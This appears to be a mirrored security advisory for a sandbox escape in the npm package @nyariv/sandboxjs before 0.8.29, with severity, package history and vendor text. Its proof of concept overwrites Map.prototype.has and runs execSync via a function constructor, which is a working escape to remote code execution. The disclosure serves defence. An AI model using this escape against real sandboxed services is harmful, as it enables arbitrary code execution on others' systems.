@nyariv/sandboxjs has a Sandbox Escape vulnerability
Summary
As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
Details
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefined
const a = Map.prototype;
console.log(a) // Object [Map] {}
let a = 123;
console.log(a) // 123
const a = 123;
console.log(a) // 123
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();
Impact
Able to set Map.prototype.has -> RCE
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @nyariv/sandboxjs | < 0.8.29 | 0.8.29 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-74, CWE-94- Platform
- npm
- Package
@nyariv/sandboxjs- Disclosed
- 05.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-66h4-qj4x-38xp - CC BY 4.0
Vulnerability history: @nyariv/sandboxjs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 07.2025 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 1
- Medium 3
Disclosures per year
- 2025: 1
- 2026: 13
-
@nyariv/sandboxjs has a Sandbox Escape vulnerability this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.